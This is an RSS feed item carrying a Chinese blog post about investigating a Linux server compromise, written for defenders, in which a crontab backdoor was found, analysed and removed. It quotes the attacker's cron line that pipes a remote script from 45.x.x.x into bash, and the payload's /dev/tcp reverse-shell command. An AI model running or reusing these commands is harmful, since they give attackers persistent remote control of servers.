<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>计划任务持久化 on Zero Day Notes</title>
        <link>https://blog.5772447.xyz/tags/%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E6%8C%81%E4%B9%85%E5%8C%96/</link>
        <description>Recent content in 计划任务持久化 on Zero Day Notes</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh</language>
        <lastBuildDate>Wed, 15 Jul 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.5772447.xyz/tags/%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E6%8C%81%E4%B9%85%E5%8C%96/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>记一次 Linux 服务器周期性外联与 CPU 抖动：crontab 恶意定时任务后门排查</title>
            <link>https://blog.5772447.xyz/posts/1de17e40/</link>
            <pubDate>Wed, 15 Jul 2026 00:00:00 +0000</pubDate>
            <guid>https://blog.5772447.xyz/posts/1de17e40/</guid>
            <description>&lt;h2 id=&#34;一问题背景&#34;&gt;&lt;a href=&#34;#%e4%b8%80%e9%97%ae%e9%a2%98%e8%83%8c%e6%99%af&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;一、问题背景&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;一台跑内部业务接口的后端服务器（CentOS 7，双核 4G，对内有 Nginx + PHP-FPM，对外仅开放 80/443），平时 CPU 长期在 5% 以下、几乎无主动出网流量。某天早上安全运营中心（SOC）告警：该主机在凌晨到上午频繁向一个陌生境外 IP 的 443 端口发起连接，且主机监控出现每隔几分钟一次的 CPU 小尖峰。由于该服务器按规范不应主动访问任何外部地址，这条告警立即被升级为疑似失陷（compromise）事件，由我介入排查。&lt;/p&gt;&#xA;&lt;h2 id=&#34;二故障现象&#34;&gt;&lt;a href=&#34;#%e4%ba%8c%e6%95%85%e9%9a%9c%e7%8e%b0%e8%b1%a1&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;二、故障现象&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;现场最明显的异常有三点：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;周期性出网&lt;/strong&gt;：在主机上用 &lt;code&gt;ss -antp&lt;/code&gt; 多次采样，每隔约 3 分钟就会出现一条到 &lt;code&gt;45.x.x.x:443&lt;/code&gt; 的 &lt;code&gt;ESTABLISHED&lt;/code&gt; 连接，几十秒后断开；该 IP 不在任何白名单内，也不属于 CDN 或上游依赖。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CPU 抖动&lt;/strong&gt;：&lt;code&gt;top&lt;/code&gt; 里能看到一个生命周期极短的进程（多半是 &lt;code&gt;curl&lt;/code&gt;/&lt;code&gt;wget&lt;/code&gt;/&lt;code&gt;bash&lt;/code&gt;）把单核短暂拉到 60%~90%，随即消失，像是被某调度器周期性唤起。平时毫无业务的高峰低谷符合这种&amp;quot;定时唤醒&amp;quot;特征。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;进程捉迷藏&lt;/strong&gt;：&lt;code&gt;top&lt;/code&gt;、&lt;code&gt;htop&lt;/code&gt; 里看不到常驻的可疑进程，也没有新增的系统服务；但出网连接确实在发生，说明恶意负载要么极短命，要么藏在依赖调度的机制里。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;第一反应是查是否有常驻木马（类似前阵子清掉的 XMRig 挖矿），但 &lt;code&gt;ps aux&lt;/code&gt; 全量拉取也只看到正常的 Nginx、PHP-FPM 与 &lt;code&gt;crond&lt;/code&gt;，方向一度被带偏。&lt;/p&gt;&#xA;&lt;h2 id=&#34;三排查过程&#34;&gt;&lt;a href=&#34;#%e4%b8%89%e6%8e%92%e6%9f%a5%e8%bf%87%e7%a8%8b&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;三、排查过程&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;第 1 步：锁定出网连接与源头进程。&lt;/strong&gt; 用 &lt;code&gt;ss -antp | grep -E &#39;45\.&#39;&lt;/code&gt; 抓到连接后，记下其 &lt;code&gt;pid&lt;/code&gt;，但发现 pid 每次都不同且迅速退出。改用 &lt;code&gt;pidstat -t 1&lt;/code&gt; 持续观察，确认有一个进程在固定节律（每 3 分钟）被拉起，父进程是 &lt;code&gt;crond&lt;/code&gt; 派生的 &lt;code&gt;sh -c&lt;/code&gt;。这就把怀疑对象从&amp;quot;常驻服务&amp;quot;直接指向了&lt;strong&gt;计划任务&lt;/strong&gt;。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;第 2 步：翻遍所有 cron 落点。&lt;/strong&gt; 攻击者为提高隐蔽性常不只写用户 &lt;code&gt;crontab&lt;/code&gt;，于是我把四处都查了一遍：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;crontab -l -u www&lt;/code&gt; 与 &lt;code&gt;crontab -l -u root&lt;/code&gt;（以及其它业务账号）；&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/etc/crontab&lt;/code&gt;；&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/etc/cron.d/&lt;/code&gt; 下所有片段；&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/var/spool/cron/&lt;/code&gt; 原始文件。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;在 &lt;code&gt;/var/spool/cron/www&lt;/code&gt; 里发现一条可疑条目：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&#xA;&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;1&#xA;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#xA;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; curl &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;fsSL http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;45.&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;load&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sh &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; bash &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;/&lt;/span&gt;dev&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;null &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&lt;p&gt;把这一段注释掉后再观察，周期性出网与 CPU 抖动&lt;strong&gt;同时消失&lt;/strong&gt;，因果关系坐实。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;第 3 步：还原 payload 行为。&lt;/strong&gt; 在隔离环境里下载 &lt;code&gt;load.sh&lt;/code&gt; 分析，它做了几件事：① 从 C2 拉取第二阶段脚本并 base64 内联，避免落地文件被扫；② 写入 &lt;code&gt; ~/.bashrc&lt;/code&gt; 与 &lt;code&gt;/etc/rc.local&lt;/code&gt; 做开机自启兜底；③ 尝试用 &lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/45.x.x.x/9999 0&amp;gt;&amp;amp;1&lt;/code&gt; 建立反弹 shell；④ 顺手检查是否有 &lt;code&gt;redis-server&lt;/code&gt;/&lt;code&gt;mysql&lt;/code&gt; 弱口令可横向。整个过程不写明显进程名、不占端口常驻，正是典型的&amp;quot;低噪声持久化&amp;quot;。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;第 4 步：排查其它落脚点。&lt;/strong&gt; 既然已经拿到 &lt;code&gt;www&lt;/code&gt; 账号执行权，必须假设攻击者还留了后手：检查 &lt;code&gt;/etc/passwd&lt;/code&gt; 是否有新增账号、&lt;code&gt;authorized_keys&lt;/code&gt; 是否被追加公钥、是否有新的 systemd timer、以及 web 目录里是否混入了 webshell。本轮只发现 cron 这一条主线，但 &lt;code&gt;bashrc&lt;/code&gt;/&lt;code&gt;rc.local&lt;/code&gt; 的写入提示初始入侵点需要进一步回溯（见根因）。&lt;/p&gt;&#xA;&lt;h2 id=&#34;四解决方案&#34;&gt;&lt;a href=&#34;#%e5%9b%9b%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;四、解决方案&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;止血与清剿按&amp;quot;先断链、再清除、后加固&amp;quot;的顺序执行：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;断链&lt;/strong&gt;：在边界防火墙与主机 &lt;code&gt;iptables&lt;/code&gt; 双重封禁 &lt;code&gt;45.x.x.x&lt;/code&gt; 的入向/出向，先掐掉 C2 通信，防止反弹 shell 与二次投递。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;清除&lt;/strong&gt;：&lt;code&gt;crontab -r -u www&lt;/code&gt; 删除恶意任务，删除 &lt;code&gt;load.sh&lt;/code&gt; 及 &lt;code&gt;/tmp&lt;/code&gt; 下衍生文件，还原被改写的 &lt;code&gt;~/.bashrc&lt;/code&gt; 与 &lt;code&gt;/etc/rc.local&lt;/code&gt;。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;kill 残余&lt;/strong&gt;：&lt;code&gt;pkill -f load.sh&lt;/code&gt;、结束处于 &lt;code&gt;bash -i&lt;/code&gt; 反弹态的进程，确认 &lt;code&gt;ss&lt;/code&gt; 不再出现外联。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;收口凭证&lt;/strong&gt;：因 &lt;code&gt;www&lt;/code&gt; 账号曾被执行权限，轮换该账号及同机相关服务的密码/密钥；核查是否有凭据被打包外传（重点关注 &lt;code&gt;~/.ssh&lt;/code&gt;、&lt;code&gt;/etc/shadow&lt;/code&gt; 最近修改时间）。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;复核持久化&lt;/strong&gt;：确认无新增系统账号、&lt;code&gt;authorized_keys&lt;/code&gt; 无陌生公钥、无异常 systemd timer 后才视为清剿完成。若评估初始入侵面（如存在 RCE 漏洞的Web应用）难以彻底确认干净，按失陷标准直接重装该主机更稳妥——本次因入侵链清晰、改动有限，采用清除+重建可疑组件方式。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;五根因分析&#34;&gt;&lt;a href=&#34;#%e4%ba%94%e6%a0%b9%e5%9b%a0%e5%88%86%e6%9e%90&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;五、根因分析&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;真正的问题不是 cron 本身，而是&lt;strong&gt;初始入侵点 + 持久化手法&lt;/strong&gt;的组合：&lt;code&gt;www&lt;/code&gt; 账号或其所托管的 Web 应用存在弱口令/旧漏洞，攻击者借此拿到命令执行权后，没有追求显眼的常驻木马，而是选择 &lt;code&gt;crontab&lt;/code&gt; 这种&amp;quot;系统正常组件&amp;quot;做持久化——它不需要新开端口、不新增服务名、日志里只是普通的 cron 执行记录，检测难度远高于 XMRig 这类高 CPU 常驻进程。换言之，cron 后门是用&amp;quot;合法调度框架&amp;quot;打掩护，把检测成本转嫁给了运维。&lt;/p&gt;&#xA;&lt;h2 id=&#34;六预防措施&#34;&gt;&lt;a href=&#34;#%e5%85%ad%e9%a2%84%e9%98%b2%e6%8e%aa%e6%96%bd&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;六、预防措施&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;针对此类低噪声持久化，单靠&amp;quot;看 top&amp;quot;已经不够，需要从检测与基线两端下手：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;监控 cron 变更&lt;/strong&gt;：用 &lt;code&gt;auditd&lt;/code&gt; 对 &lt;code&gt;/etc/cron*&lt;/code&gt;、&lt;code&gt;/var/spool/cron/&lt;/code&gt; 加规则（&lt;code&gt;-w /etc/cron.d -p wa -k cron_change&lt;/code&gt;），任何改动进审计日志并告警。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;出网白名单&lt;/strong&gt;：服务器默认拒绝所有主动出网，仅放行 Proxy/更新源等少数地址，cron 拉取外网脚本会立即被拦，从根上废掉投递链。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;文件完整性监控（FIM）&lt;/strong&gt;：部署 AIDE/Tripwire 或 HIDS（Wazuh/osquery），对 &lt;code&gt;crontab&lt;/code&gt;、&lt;code&gt;bashrc&lt;/code&gt;、&lt;code&gt;rc.local&lt;/code&gt; 做哈希基线，偏差即告警。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;异常血缘检测&lt;/strong&gt;：用 osquery 之类持续比对&amp;quot;父进程=crond 却派生出 curl/wget/bash 外联&amp;quot;的异常血缘关系，这是识别 cron 后门最有效的规则之一。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;最小权限与基线&lt;/strong&gt;：业务账号禁 &lt;code&gt;crontab&lt;/code&gt;、禁出网、禁写 &lt;code&gt;bashrc&lt;/code&gt;；定期跑 CIS Benchmark 与弱口令扫描，把初始入侵面压到最低。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;七总结&#34;&gt;&lt;a href=&#34;#%e4%b8%83%e6%80%bb%e7%bb%93&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;七、总结&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;这次事件的本质，是攻击者用 &lt;code&gt;crontab&lt;/code&gt; 这个&amp;quot;系统自带的合法调度器&amp;quot;做持久化，规避了常驻进程的显眼特征，单看 CPU 和进程表很容易误判为偶发抖动。排查的关键转折在于：周期出网 + 短命进程 + 父进程是 &lt;code&gt;crond&lt;/code&gt;，三者指向计划任务而非服务；顺藤摸到 &lt;code&gt;/var/spool/cron/&lt;/code&gt; 的恶意条目后，问题迎刃而解。对运维来说，与其事后肉眼翻 cron，不如把 cron 变更、出网白名单、异常进程血缘做成常态化检测——让后门在&amp;quot;被调度起来&amp;quot;的那一刻就被抓住。&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
